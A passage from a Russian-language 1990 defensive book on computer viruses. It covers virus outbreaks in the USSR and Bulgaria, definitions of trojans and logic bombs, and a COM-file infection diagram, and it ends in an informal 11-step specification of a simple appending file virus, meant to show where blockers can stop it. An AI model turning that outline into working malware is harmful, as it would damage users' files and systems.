мобилизации сил на создание мощных средств борьбы с этой разновид-
ностью компьютерного вандализма и предотвратит ненужное дублирова-
ние усилий.  Автор придерживается  второй точки  зрения и считает,
что создание  мощных средств защиты позволит поднять "планку" тех-
нической сложности  разработки эффективного  вируса до  уровня, на
порядок превышающего  сегодняшний, что существенно сузит круг лиц,
представляющих потенциальную опасность.
  При написании  данной работы автор сознательно исключил ряд све-
дений, которые  могли бы  быть использованы  во вред. В частности,
дампы зараженных  программ приводятся  в сокращенном  виде. Однако
решающее значение, по-видимому, имеет создание общественной атмос-
феры нетерпимости к попыткам разработки или использования вирусов.
Если такие попытки будут вызывать не отпор, а поощрительное похло-
пывание по  плечу в коллективе разработчика, то в скором времени и
пользователям и  разработчикам антивирусных  программ придется бо-
роться на  два фронта:  против вирусов, попадающих с Запада (или с
Востока) и  против отечественных  разновидностей. Тем  более,  что
первые отечественные  вирусы уже появились. Ситуация с отечествен-
ными разработчиками вирусов усложняется тем, что их довольно слож-
но привлечь  к уголовной ответственности по действующему законода-
тельству (хотя  специфика советской действительности оставляет не-
которую надежду  в случае,  если от  этого вируса "полетит" важная
информация где-нибудь в прокуратуре или министерстве юстиции).
  В связи  с этим следует отметить полную бесперспективность попы-
ток использования  вирусов для  защиты программного обеспечения от
незаконного копирования. Поскольку распространение вируса не явля-
ется контролируемым процессом, то в данном случае скорее всего по-
страдают не  лица, использовавшие незаконную копию, а другие поль-
зователи. Хотя я ни в коей мере не оправдываю незаконное копирова-
ние программ, но лекарство не должно быть опаснее, чем болезнь. Не
стоит бросать  бомбу в  магазин для  наказания человека, укравшего
пачку сливочного масла. Более того, установление автора вируса бу-
дет означать  полную потерю репутации разработчика и, следователь-
но, коммерческий  крах. Этому  будет, несомненно, способствовать и
широкая огласка,  включая сообщения на профессиональных семинарах,
и публикации  в прессе,  которые последуют  за установлением авто-
ра(ов) вируса.

                  1.2.15. Проблема самоизоляции

                                             "Не так страшен черт,
                                              как его малюют"
                                                         Пословица

  Основная проблема  для пользователей ПЭВМ, возникающая в связи с
появлением компьютерных  вирусов, состоит в том, как защитить свои
программы и данные, не прибегая к самоизоляции. Практика показыва-
ет, что  эта проблема вполне разрешима. Как и против биологических
вирусов, для борьбы с компьютерными вирусами может применяться це-
лый комплекс  мер: технические, организационные, юридические. Поэ-
тому наблюдаемая  сейчас тенденция  к самоизоляции  представляется
автору совершенно неоправданной. Такое "сверхреагирование" в усло-
виях нашей  страны практически равносильно добровольному отказу от
возможностей хоть  как-то улучшить  условия всей работы и повысить
ее производительность. Учитывая недоступность для большинства про-
граммистов "фирменных"  программных продуктов,  оригинальных  ино-
странных журналов,  доступа к национальным сетям -- всему тому, что
является повседневностью для программиста в США и Западной Европе,
обмен информацией на дискетах является, по сути, единственным спо-
собом получить  информацию и хоть немного поднять собственный уро-
вень.
  Потери данных в результате разрушительного действия компьютерных
вирусов в настоящее время довольно редки и по частоте не превосхо-
дят случаев  потерь данных из-за неисправности оборудования. Боль-
шинство случаев  заражения программного  обеспечения компьютерными
вирусами, отмеченных к этому времени, не вызывали серьезных потерь
данных. В то же время сама возможность таких потерь вызывает впол-
не понятную тревогу, поскольку хотя шансы попасть под разрушитель-
ную атаку вируса пока невелики, но они, к сожалению, увеличиваются
по мере  проникновения в страну новых типов и разновидностей виру-
сов. Кроме  того, каждый  понимает, что такой атаке можно подверг-
нуться в  самый неподходящий  момент. Это  беспокойство имеет свои
положительные и  отрицательные стороны. Отрицательной стороной яв-
ляется то, что оно толкает пользователей к самоизоляции, когда они
начинают бояться  брать и пробовать интересующие их программы, хо-
тя, как уже отмечалось выше, в наших условиях такой обмен информа-
цией является  основным методом  повышения собственной  производи-
тельности. Положительно  то,  что  пользователи  начинают  уделять
адекватное внимание  созданию архивных копий своих данных, а также
методам повышения  надежности их  хранения. Следует отметить, что,
хотя потеря содержимого дискеты, а тем более винчестера, способст-
вует быстрой  выработке привычки  архивировать данные, это вряд ли
можно называть  приемлемым способом воспитания такой привычки и ее
лучше прибрести  заблаговременно. В  любом случае  следует  трезво
оценивать опасность: переоценка не намного лучше, чем недооценка.

                    1.3. Современная ситуация

                                 "Эх, Эх ! -- ей Моська отвечает
                                  Вот то-то мне и духу придает
                                  Что я совсем без драки
                                  могу попасть в большие забияки!"
                                                        И.А.Крылов

  Количество персональных  компьютеров в СССР уже начинает прибли-
жаться к  миллиону. Конечно,  до США,  где количество персональных
компьютеров сопоставимо  с количеством  телефонных аппаратов,  нам
еще очень  и очень далеко, однако и такое количество уже представ-
ляет собой  "закритическую" массу  для создания  и распространения
компьютерных вирусов  собственной разработки. Поэтому неудивитель-
но,  что   в  этом   году  появились   файловые  вирусы  "местного
производства" (RC-600, RCE-1600, С-257, С-1004).
  В 1990 г. поток вирусов, поступающих в нашу страну из-за рубежа,
несколько возрос по сравнению с 1989 г. Скорость поступления можно
оценить как примерно два вируса в месяц. Из них менее половины по-
лучают существенное  распространение. Основной  вклад в этот поток
продолжают вносить файловые вирусы из Болгарии (RCE-2000, RCE-1277
и др.). Поскольку за прошедший год уровень информированности поль-
зователей существенно  возрос, выявленные вирусы были сравнительно
быстро локализованы. Вместе с тем, пользователи малых и отдаленных
городов нашей страны все еще сообщали о случаях заражения вирусами
RC-1701, Stone и других "прошлогодних" вирусах, эпидемии которых в
больших городах  уже практически закончились. Таким образом, "рас-
ползание" вирусов идет от центра к периферии, как это происходит и
с естественными  вирусами, скажем,  вирусом гриппа.  Опыт показал,
что скорость  распространения вирусов из одного города в другой не
так уж  велика, и  запаздывание достигает  нескольких месяцев. Это
создает возможность подготовиться к появлению очередного вируса за
счет оперативного распространения соответствующей информации и ан-
тивирусных средств через бюллетень СОФТПАНОРАМА.
  В феврале 1990 г. семинаром "Системное программирование" был ор-
ганизован первый  конкурс антивирусных  программ, распространяемых
бесплатно, проводившийся в трех классах (фаги, детекторы и ревизо-
ры, резидентные  фильтры). В классе фагов первое место заняла про-
грамма AIDSTEST  Д.Н.Лозинского, второе  место -- программа  DOCTOR
А.А.Чижова. В классе детекторов и ревизоров первое место занял ре-
визор DLI  В.Герасимова, второе  место -- контекстный  детектор  VL
А.Л.Шеховцова. И наконец, в классе резидентных фильтров два первых
места поделили  программы SBM В.Еременко и Б.Мостового и программа
CHECK21 В.Двоеглазова.

                      1.3.1. Хроника событий

  Первые два месяца 1990 г. оказались довольно спокойными. В марте
появился вирус  Sunday, или RСЕ-1636 по используемой автором клас-
сификации. Изучение  кода показало,  что его можно рассматривать в
качестве штамма вируса RCE-1813 (Ierusalem, Black Friday). В воск-
ресенье RСЕ-1636  удаляет все запускаемые программы. В этом же ме-
сяце был обнаружен бутовый вирус DiskKiller тайваньского происхож-
дения. Это первый из попавших в наших страну вирусов, уничтожающих
информацию на  всем винчестере  так, что ее потом крайне трудно, а
для специалиста, не владеющего ассемблером, -- невозможно восстано-
вить. В частности, от этого вируса пострадал ряд ВЦ в западных об-
ластях Украины.
  В апреле  в  Москве  был  обнаружен  вирус  RCE-2000  болгарской
разработки. В  мае в  Днепропетровске был обнаружен вирус RC-600 --
первый вирус,  относительно которого  достоверно известно,  что он
был разработан  в СССР. В июне в Киеве был обнаружен вирус MERPHY,
разработанный в  Болгарии. В этом же месяце в Москве был обнаружен
вирус RCE-1600. Приблизительно в это же время в Москве был обнару-
жен бутовый  вирус DEN  ZUK и бутовый вирус индийского производст-
ва -- Joshy.  В июле в нескольких точках Москвы был обнаружен вирус
RC-492. В  частности, автор обнаружил его, находясь в командировке
в ВЦ АН СССР.
  К сентябрьскому семинару 1990 г. было обнаружено еще шесть новых
вирусов:  С-1004   (Bebe),  Flu-2  (LoveChild),  Attention,  Print
Screen, Kemerovo-Reboot  и 4096. Последний является представителем
нового поколения  вирусов -- так  называемых стелс-вирусов  и пред-
ставляет большую  опасность из-за довольно скрытого характера рас-
пространения и  проявлениям, похожим  на сбои  оборудования. Сразу
после сентябрьского  семинара был  выявлен еще  один представитель
стелс-вирусов -- RC-512, разработанный в Болгарии.

                 1.3.2. Болгарский вирусный взрыв

  Как уже отмечалось, Болгария стала одним из мировых центров раз-
работки файловых  вирусов. Начиная с середины 1989 г. "наплыв" ви-
русов из  Болгарии все  увеличивается и  увеличивается, причем ряд
разработанных там вирусов оказались весьма изощренными и опасными.
Этот поток вирусов, затронувший  как СССР, так и  западные страны,
получил название "болгарского вирусного взрыва". Это не совсем то-
чное  название,  поскольку  правильнее  говорить об информационном
взрыве: многие из так называемых "болгарских" вирусов либо  вообще
не были "выпущены на свободу", либо быстро локализованы и  уничто-
жены, не успев создать эпидемию, однако тот факт, что они были со-
браны В.Бончевым и переданы западным вирусологам в течении  доста-
точно короткого промежутка времени создал иллюзию "взрыва".
  Деятельность болгарских  техно-крыс нанесла  определенный  ущерб
нашей стране, поскольку из Болгарии вирусы быстро попадают в СССР.
Всего к  нам попало  более 20 болгарских вирусов, ряд из которых
распространился достаточно  широко. Среди последних отметим группу
Dark Avenger (RCE-1800 - Еddie, RCE-02000 - AntiBontchev, RC-512 и
др.) и  группу TP-вирусов  (RСE-1206, RCE-1805,  RCE-2885 и  др.).
Многие сотни,  если не  тысячи, часов  были потрачены  на анализ и
дезинфекцию зараженных ими программ.
  Факты свидетельствуют о том, что начиная с 1988 г., в Софии сло-
жилась группа лиц, активно разрабатывавшая и распространявшая ком-
пьютерные  вирусы.  Общее  количество  разработанных  ими  вирусов
приближается к сотне. Среди них отметим техно-крысу, разработавшую
серию TP. Эта техно-крыса,  по данным В.Бончева, закончившая  свою
деятельность по созданию новых  вирусов летом 1989 г.,  ранее была
сотрудником Высшего машинно-электротехнического института  (теперь
Инженерная академия), расположенного в Софии. Фамилия автора виру-
са RE-1961 (В.Бочев) стала известна по попавшему в СССР на  вирус-
ной  дискете  Бончева  исходному  тексту  вируса  RЕ-1961  (Yankee
Doodle-2). Этот нерезидентный файловый вирус был исторически  пер-
вым болгарским вирусом, заражавшим EXE-файлы стандартным  способом
и первым вирусом,  использовавшим мелодию играющего  мелодию "Янки
Дудль  Денди"  при  запуске  зараженного  файла. Правда, несколько
странно, что болгарский программист использовал в своей  программе
мелодию марша  "Янки Дудль  Денди" (Yankey  Doodle Dandy). Кстати,
В.Бочев является автором некоторых статей, опубликованных в  "Ком-
пютър за вас" [ ].
  Наиболее известной болгарской техно-крысой на данный момент  яв-
ляется программист, скрывающийся под кличкой Dark Avenger, "проду-
кция" которого  (более десятка  изощренных вирусов)  уже могла  бы
быть оценена в западных странах солидным сроком тюремного заключе-
ния. Первым  из вирусов,  разработанных этой  техно-крысой, в СССР
попал вирус RCE-1800. Этот вирус, часто называемый Eddie, по соде-
ржащейся в нем текстовой строке  был и остается одним из  наиболее
опасных файловых вирусов. В нем предусмотрено разрушение  секторов
на диске, а также использован несколько отличный от предыдущих ви-
русов механизм размножения (RCE-1800 заражает файлы не только  при
выполнении, но и при открытии), обеспечивавший вирусу более  быст-
рое распространение.
    Весной 1990 г.  в нашей стране  был обнаружен очередной  вирус
этого технопата -- RCE-02000, который на зараженной машине  маски-
рует  увеличение  длины  зараженных  файлов.  Это один из наиболее
скрытно размножающихся и опасных вирусов-вандалов. В тексте вируса
RCE-02000 имеется строка "(c) 1989 by Vesselin Bontchev", располо-
женная в конце тела вируса, т.е. в последнем блоке зараженной про-
граммы. Подобного  рода клеветнические  приемы типичны  для техно-
крыс и В.Бончев не является первым и последним разработчиком анти-
вирусных программ,  которому приходится  защищаться от  "пиратства
наоборот". Попытки приписать авторство вирусов разрабочикам  анти-
вирусных программ или превратить очередные версии этих программ  в
троянские, т.е. распространяющие новый вирус, предпринимались тех-
но-крысами неоднократно, однако в случае RCE-02000 вирус,  являясь
резидентным, еще и блокирует запуск антивирусных программ В.Бонче-
ва, проверяя  загружаемые программы  на наличие  части приведенной
выше строки и вызывая зависание, если строка найдена. В 3/4 номере
за 1990 г. журнала "Компьютер за вас" В. Бончевым было опубликова-
но опровержение, подтвердившее, что автором данного вируса являет-
ся DARK AVENGER -- предположение возникшее у большинства советсвих
вирусологов, анализировавших  кода данного  вируса. Более  того, в
указанном номере опубликовано и письмо самого DARK AVENGER. По-ви-
димому, это первая публикация техно-крысы, хотя не совсем понятно,
зачем предоставлять  технопатам возможность  печататься. Поскольку
появление письма DARK AVENGER по времени совпало с распространени-
ем вируса RCE-02000, это еще раз показывает, насколько техно-кры-
сам присущ "комплекс Герострата". Интересно отметить, что в письме
название журнала  "Компютър за  вас" изменено  на достаточно едкое
"Вирус  за  вас",  что,  учитывая  факт публикации письма и статей
В.Бочева, имеет определенные основания.

1.3.3. Колхоз им. Герострата, или "небывалый вирусный урожай 1990"

                                "Скоро ваши рыжие кудри, Шура,
                                 примелькаются, и вас начнут бить"
                                                 И.Ильф и Е.Петров

  Дурной пример заразителен, и в настоящее время cоветским вирусо-
логам уже нельзя в своих  публикациях "кивать на Болгарию" --  мол
какое у них  творится безобразие. Социально-экономические  условия
СССР и Болгарии  достаточно близки, а  существовавшее значительное
отставание в распространении персональных компьютеров сейчас  нес-
колько сократилось. Поэтому "грядет советский вирусный взрыв", тем
более, что если  по качеству мы  всегда отстаем, то  по количеству
какой-то вредной  продукции являемся  мировым лидером.  И я боюсь,
что по  количеству разрабатываемых  компьютерных вирусов  мы скоро
будет серьезно конкурировать с Болгарией. Уже сейчас можно назвать
более десятка вирусов, разработанных  в СССР. К ним  относятся RC-
529, RC-600, RCE-1600, RCE-2458 (Victor), С1004 (Bebe), и  вероят-
но, С257. Первые три вируса разработаны в Воронеже, и соответству-
ющий член колхоза имени  Герострата известен в кругах  вирусологов
как "Воронежский пакостник". Интересно отметить, что эта технокры-
са работает в паре со своим отцом, специализирующимся на распрост-
ранении "выращенных" вирусов. Вот уж, действительно, ...яблоко  от
яблони ... Вирус RCE-2458 "живьем" пока не попадался и,  возможно,
разработан  кем-то  из  иммигрантов.  Происхождение вируса C-1004
(Bebe) выдают содержащиеся в нем фразы.
  Из указанных  вирусов наибольшее распространение получил, по ви-
димому, RC-1600,  который был  обнаружен в  июне 1990 г.  Учитывая
предупреждение Томпсона,  высказанное им  в его знаменитой Тьюрин-
говской лекции,  автор призывает продуманно подходить к упоминанию
фамилий разработчиков вируса в антивирусных программах, документа-
ции к ним и публикациях на данную тему. Незачем создавать рекламу,
по сути  идя на  поводу у  какого-то молодого балбеса или ущербной
личности, страдающей  от чувства  собственной неполноценности и не
способной найти своим ограниченным способностям какое-то конструк-
тивное применение.

                2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ
                       КОМПЬЮТЕРНЫХ ВИРУСОВ

                                     Не стоит слишком мучать себя 
                                     вопросом: "Как это возможно?"
                                                         Р.Фейнман

  Уже в  середине 60-х гг. разработчики и пользователи обнаружили,
что системы  разделения времени  весьма небезопасны с точки зрения
возможности доступа к чужим данным и программам посторонних лиц, и
начали принимать  меры защиты против "непрошенных гостей". Поэтому
сначала кратко  рассмотрим некоторые  приемы, применяемые злоумыш-
ленниками для  повреждения   чужих программ  и данных. Важно пони-
мать, что  вирусы являются  только одним из возможных способов ин-
фильтрации в чужую компьютерную систему.
  Доверие к  той или иной компьютерной системе фактически означает
доверие по отношению к тем, кто ее разработал, и тем, кто ею поль-
зуется. Эксперты по безопасности компьютерных систем часто подчер-
кивают, что  эти проблемы в значительной степени являются социаль-
ными проблемами.  Поэтому, как и в других сферах человеческой дея-
тельности, появилась  и развивается компьютерная преступность. Ви-
русы являются  только частью проблемы компьютерной преступности, и
их правильнее всего рассматривать в этом, более общем контексте.

                      2.1. Программы-вандалы

                                           "Homo homini lupus est"
                                           (Человек человеку волк)
                                                             Плавт

  Класс программ,  направленных на причинение вреда пользователям,
часто обозначают  термином "Badware",  по аналогии  с тем, что для
обозначения программного  обеспечения обычно  используется  термин
"Software". На  русский язык этот термин иногда переводится "каль-
кой" софтвер,  который не  прижился из-за своей неблагозвучности .
Мне кажется,  что в  технической литературе отдельные общепринятые
иностранные слова можно использовать без перевода. Badware включа-
ет ряд  подклассов, среди которых наиболее распространенными явля-
ются троянские программы и компьютерные вирусы.

                     2.2. Троянские программы

                                            "O tempora, o mores !"
                                            (О времена, о нравы !)
                                                           Цицерон

  Троянскими программами  (троянскими конями) обычно называют про-
граммы, содержащие  скрытый модуль,  осуществляющий несанкциониро-
ванные действия.  Эти действия  не обязательно могут быть разруши-
тельными, однако практически всегда направлены во вред пользовате-
лю. В  свою очередь,  троянские программы  можно разделить  на не-
сколько категорий.

  Троянские программы-вандалы  обычно выполняют  или имитируют вы-
полнение какой-нибудь  полезной или экзотической функции. При этом
в качестве  побочного эффекта они стирают файлы, разрушают катало-
ги, форматируют диск и т.д. Иногда разрушительный код встраивается
в какую-нибудь  известную программу. Чтобы привлечь пользователей,
полученная троянская  программа-вандал часто маскируется под новую
версию данного программного продукта.
  С появлением BBS программы-вандалы получили значительное распро-
странение. При  этом техно-крыса  подсовывает программу в один или
несколько BBS,  пользователи которых затем "попадаются на удочку".
В качестве примера троянской программы-вандала можно привести про-
грамму SURPRISE  ("Сюрприз"). Написанная на Бейсике, она исполняла
команду DEL  *.*, а затем выдавала на экран строку "Surprise !". И
таких простых  и злобных программ создано немало. С их распростра-
нением запуск новой программы на компьютере стал небезопасной опе-
рацией.
  Иногда в  качестве самостоятельной  разновидности троянских про-
грамм-вандалов выделяют  так  называемые  логические  мины  (logic
bomb) у скрытые  модули, встроенные в ранее разработанную и широко
используемую программу.  Такой модуль является безвредным до опре-
деленного события, при наступлении которого он срабатывает. Такого
рода программы  иногда используются  уволенными или обиженными со-
трудниками как форма мести по отношению к нанимателю. Частный слу-
чай логических мин, в которых срабатывание скрытого модуля опреде-
ляется временем,  часто называют минами с часовым механизмом (time
bomb). Фактически логические мины являются средством компьютерного
саботажа и  их создание  должно предусматривать уголовную ответст-
венность. Хотя, как указано выше, компьютерный саботаж обычно свя-
зан с "местью" обиженных или уволенных программистов своему бывше-
му работодателю,  он может использоваться и как форма конкурентной
борьбы.
  В истории  отечественного программирования было несколько "гром-
ких" случаев  компьютерного саботажа. Так, лет семь назад отечест-
венные газеты  сообщали о программисте, который перед своим уволь-
нением встроил в программу, управлявшую главным конвейером Горько-
вского автомобильного завода, "мину", которая через некоторое вре-
мя привела к остановке главного конвейера. Программист был выявлен
и осужден.  На Западе,  наряду с  попытками хищения  средств через
банковские компьютеры, распространены случаи компьютерного сабота-
жа по  отношению к  различного рода финансовым системам, вплоть до
шифровки базы  данных с  последующим требованием  выкупа  за  ключ
(программу) расшифровки.  Последним известным  случаем такого рода
было описанное  выше  распространение  дискеты  с  информацией  по
СПИДу, в которой программа управления базой данных была троянской.
  Программы, обеспечивающие  вход в систему или получение привиле-
гированной функции  (режима работы)  в обход  существующей системы
полномочий,   называют люками  (back door). Люки часто оставляются
разработчиками соответствующих  компонент операционной системы для
того, чтобы  завершить тестирование или исправить какую-то ошибку,
но нередко  продолжают существовать и после того, как то, для чего
они планировались,  завершено или  необходимость в нем отпала. На-
пример, в  операционной системе  ОС ЕС  широко  использовалcя  люк
NEWPSW, позволявший  программе пользователя  получить привилегиро-
ванный режим,  называемый в  серии 360/370  режимом супервизора, в
обход средств контроля операционной системы.
  Троянские программы могут также использоваться в целях разведки.
К распространенным программам такого рода относятся программы уга-
дывания паролей.  Одной из  компонент сетевого вируса Морриса была
такая программа, причем, как оказалось, она сумела добиться успеха
в значительном числе случаев.

                     2.3. Компьютерные вирусы

                                "Да он-то как вперед пробрался ?"у
                                "За хвостик тетеньки держался !"  
                                                          И.Франко

  Формально компьютерным вирусом называется программа, которая мо-
жет заражать другие программы путем включения в них своей, возмож-
но модифицированной, копии, причем последняя сохраняет способность
к дальнейшему  размножению [Cohen88a]. Программа, зараженная виру-
сом, может  рассматриваться как  автоматически созданная троянская
программа. В данном случае скрытым модулем является тело вируса, а
одним из несанкционированных действий у заражение других программ.
Помимо заражения, вирус, подобно любой другой троянской программе,
может выполнять  и другие  несанкционированные действия, от вполне
безобидных до крайне разрушительных. Последние, в частности, могут
включать уничтожение данных на зараженном диске. В этом случае ви-
рус может рассматриваться как логическая мина. Выполняемые вирусом
несанкционированные действия  могут быть  обусловлены наступлением
определенной даты  (такие троянские  программы в  какой-то степени
аналогичны минам с часовым механизмом) или определенного количест-
ва размножений,  или сочетанием определенных условий, например за-
писи зараженной  программы на винчестер (последние аналогичны раз-
личного рода  бесконтактным минам). При этом комбинация этих усло-
вий может быть достаточно сложной, чтобы затруднить ее определение
(как например, в вирусе Пинг-понг).
  Инфицируя программы, вирусы могут распространяться от одной про-
граммы к  другой (транзитивно),  что делает  их более  опасными по
сравнению с  другими методами компьютерного вандализма. Зараженные
программы (или  их копии)  могут передаваться через дискеты или по
сети на  другие ЭВМ. Учитывая широко распространенную практику об-
мена и  передачи программ  на дискетах  среди пользователей персо-
нальных ЭВМ,  количество зараженных программ может быть значитель-
ным, приводя  к своего  рода эпидемиям.  Этому также  способствует
распространенная в  нашей стране практика использования одной ПЭВМ
несколькими пользователями.  Опасность существенно  возрастает при
наличии винчестера,  программы на котором используются всеми поль-
зователями. В этом случае один неквалифицированный или злонамерен-
ный пользователь может нанести значительный ущерб другим пользова-
телям. Особую  опасность с точки зрения распространения компьютер-
ных вирусов  представляют любители  компьютерных игр, обычно слабо
знающие операционную систему и не вполне понимающие смысл выполня-
емых ими действий. Такие пользователи подвергают значительному ри-
ску своих коллег, работающих с ними на одной ПЭВМ.
  Упрощенно процесс  заражения вирусом  программных  файлов  можно
представить следующим образом. Код зараженной программы обычно из-
менен таким образом, чтобы вирус получил управление первым, до на-
чала работы  программы-вирусоносителя (рис.2). При передаче управ-
ления вирусу,  он каким-то  способом находит новую программу и вы-
полняет вставку собственной копии в начало (рис.2б) или добавление
ее в конец этой, обычно еще не зараженной, программы (рис.2а). Ес-
ли вирус  дописывается в  конец программы,  то он корректирует код
программы, чтобы  получить управление первым. Для этого первые не-
сколько байтов  запоминаются в теле вируса, а на их место вставля-
ется команда  перехода на начало вируса. Этот способ является наи-
более распространенным.  Получив управление, вирус восстанавливает
"спрятанные" первые  байты, а после отработки своего тела передает
управление программе-вирусоносителю, и та нормально выполняет свои
функции. Возможны  случаи, когда вирус включает себя куда-то в се-
редину программы,  например, в  область стека  (рис.2в). Последние
случаи встречаются редко.

+------------------+  +-------------+ +------------------+
|++++++++++++++++++|  |+++++++++++++| |++++++++++++++++++|
|+Команда перехода+|+ |+++++++++++++| |+Команда перехода+|+
|++++++++++++++++++|| |+Тело вируса+| |++++++++++++++++++||
|------------------|| |+++++++++++++| |------------------||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|+  ЗАРАЖЕННАЯ  +++|| |+++++++++++++| |+   НАЧАЛО     +++||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|+  ПРОГРАММА    ++|| |+++++++++++++| |+  ЗАРАЖЕННОЙ  +++||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|+ (COM - ФАЙЛ)  ++|| |+++++++++++++| |+  ПРОГРАММЫ    ++||
|++++++++++++++++++|| |+ЗАРАЖЕННАЯ +| |++++++++++++++++++||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|++++++++++++++++++|+ |+ПРОГРАММА  +| |++++++++++++++++++|+
|++++Тело вируса+++|  |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++|  |+COM - ФАЙЛ)+| |++++Тело вируса+++|
|++++++++++++++++++|  |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++|  |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++|  |+++++++++++++| |++++++++++++++++++|
|+Спрятанные байты+|  |+++++++++++++| |+Спрятанные байты+|
|++++++++++++++++++|  |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++|  |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++|  |+++++++++++++| |++++++++++++++++++|
+------------------+  +-------------+ |------------------|
        а                    б        |++++++++++++++++++|
                                      |+    КОНЕЦ     +++|
 Рис. 2.                              |++++++++++++++++++|
 Схема заражения вирусом COM-файлов:  |+  ЗАРАЖЕННОЙ  +++|
  а - в конец программы;              |++++++++++++++++++|
  б - в начало программы;             |+  ПРОГРАММЫ    ++|
  в - в середину программы.           |++++++++++++++++++|
                                      +------------------+
                                               в

                2.4. Анатомия компьютерного вируса

  Наиболее распространенными  типами компьютерных вирусов в MS DOS
являются файловые  нерезидентные, файловые  резидентные и  бутовые
вирусы. Многие  из пользователей  имеют ограниченный опыт работы с
МS DOS. В то же время, для понимания функционирования файловых ви-
русов и  средств защиты  от них  важно понимать структуру файловой
системы и  прерываний MS  DOS. Поэтому  в приложении  6 приводится
краткий обзор  структуры файловой системы MS DOS, в приложении 7 -
структуры исполняемых  файлов и  некоторых управляющих блоков, а в
приложениях 8 и 9 у сведения о прерываниях. Более подробные сведе-
ния можно  получить в учебниках по языку ассемблера [Скенлон89], в
электронном справочнике  TECHHELP, а  также книгах П.Нортона [Нор-
тон90] и  Жордена. Разбор  анатомии компьютерных  вирусов начнем с
анализа структуры  нерезидентного файлового вируса, как простейшей
разновидности этого класса системных программ.
  Структурно компьютерный  вирус можно  представить  состоящим  из
двух частей:  головы и  хвоста. Головой  называется часть  вируса,
которая первой получает управление. Хвост вируса - это части виру-
са, расположенные  отдельно от  головы. В  простейшем случае вирус
может состоять  из одной  головы, и  действительно файловые вирусы
обычно так  и устроены.  Такие вирусы будем называть несегментиро-
ванными. В отличие от них сегментированные вирусы имеют располага-
ющийся отдельно хвост и в какой-то мере аналогичны оверлейным фай-
лам. Примером  сегментированных вирусов  являются бутовые  вирусы,
хотя возможна реализация сегментированных файловых вирусов.

         2.4.1. Структура файлового нерезидентного вируса

  Файловые вирусы  являются  наиболее  распространенной  разновид-
ностью компьютерных  вирусов. Принципиально они заражают любой тип
исполняемых файлов,  существующих в  MS DOS:  COM, EXE, OVL и т.д.
Однако основными  объектами заражения  являются файлы  типа COM  и
файлы типа  EXE. Некоторые сведения о структуре этих файлов приве-
дены в  прил. 6. Наиболее просто осуществляется заражение COM-фай-
лов, которые  представляют собой почти точную копию участка памяти
с загруженной программой. Единственная требуемая настройка при за-
грузке COM-файлов состоит в загрузке сегментных регистров значени-
ями, соответствующими месту загрузки программы. Значительная часть
COM-файлов начинается  с команды  перехода, обходящей содержащие в
начале программы данные.
  При заражении  COM-файлов вирус  запоминает в  своем теле первые
три или больше байтов программы и вместо них записывает переход на
начало собственного кода. Так поступает большинство файловых виру-
сов, заражающих  COM-файлы, но не все. Дело в том, что при дописы-
вании тела вируса в конец заражаемого файла весь код вируса должен
быть написан специальным образом, обычно называемым позиционно-не-
зависимым программированием:  при выполнении  программы все ссылки
должны адресоваться через соответствующее смещение, которое обычно
хранится в одном из регистров.
  Некоторые вирусы используют более примитивный подход: вместо до-
писывания своего тела в конец заражаемого COM-файла они перемещают
туда первые  несколько блоков  программы, а  сами записываются  на
место освободившихся  блоков. Так,  например, поступает вирус RCE-
1813. В  этом случае только программа восстановления исходного со-
стояния программы должна быть позиционно-независимой или она долж-
на размещаться  где-то в  фиксированных адресах  памяти, используя
какой-то неиспользуемый ее участок.
   Простейший  нерезидентный компьютерный  вирус, заражающий  COM-
файлы в  текущем каталоге  и дописывающий свое тело в конец файла,
можно представить в виде следующей неформальной спецификации.
  Шаг 1: Восстановить  первые   три  байта  программы.  Три  байта
зараженной программы,  сохраненные в  теле вируса, пересылаются на
свое старое место.
  Шаг 2: Проверить среду.  Проверить версию  операционной системы.
Если не подходящая, то перейти к шагу 11.
  Шаг 3: Найти очередную  жертву(ы). Найти в текущем каталоге оче-
редной файл типа COM. При неудаче перейти к шагу 11.
  Шаг 4: Проверить зараженность  потенциальной жертвы. Считать об-
ласть, позволяющую  установить, заражен ли уже данный файл вирусом
или нет. Проверить содержимое этой области. Если файл уже заражен,
то перейти к шагу 3, иначе перейти к шагу 5.
  Шаг 5: Проверить, подходит  ли жертва  для заражения. Если длина
файла + длина вируса больше 64К, перейти к шагу 3, иначе перейти к
шагу 6.
  Шаг 6: Снять атрибут READ ONLY, запомнить дату создания програм-
мы. Снять указанный атрибут и запомнить в своем теле дату создания
программы.
  Шаг 7: Обеспечить передачу управления вирусу. Считать первые три
байта зараженной  программы и  записать их в своем теле. Сформиро-
вать команду  перехода на  байт, следующий  за концом программы, и
записать соответствующие  три байта в начало заражаемой программы.
При неудаче перейти к шагу 11, иначе перейти к шагу 8.
  Шаг 8: Дописать тело  вируса в конец заражаемой программы. Пере-
двинуть указатель файла в конец программы и установить режим доза-
писи. Переписать  свое тело в конец заражаемой программы. При неу-
даче перейти к шагу 11, иначе перейти к шагу 9.
  Шаг 9: Восстановить дату создания зараженной программы. Записать
в элемент  каталога, соответствующий  заражаемой программе,  дату,
сохраненную в теле вируса.
  Шаг 10: Восстановить атрибут  READ ONLY.  Присвоить  заражаемому
файлу атрибуты, установленные у файла до заражения и сохраненные в
теле вируса.  При неудаче  перейти к шагу 11, иначе перейти к шагу
10.
  Шаг 11: Выход. Восстановить  содержимое регистров и передать уп-
равление программе-вирусоносителю.
  Как видно из приведенной схемы, данный вирус распространяется не
мгновенно по  всей файловой системе, а постепенно, по мере зараже-
ния файлов в текущем каталоге. Поэтому от момента появления в фай-
ловой системе первого зараженного файла до заражения всех файлов в
каталоге должно пройти некоторое время, зависящее от интенсивности
использования зараженной программы.
  Наиболее уязвимыми с точки зрения блокирования размножения виру-
са являются  шаг 6 (попытка снятия атрибута READ ONLY), шаги 7,8 у
запись в  файл, содержащий  исполняемую программу, и шаг 9 у уста-
новка даты создания файла, отличающейся от текущей. Для блокирова-
ния этих шагов обычно используются различные резидентные программы
(см. ниже). Кроме того, если на шаге 4 вирус использует для марки-
ровки зараженных  файлов легко  воспроизводимый признак (например,
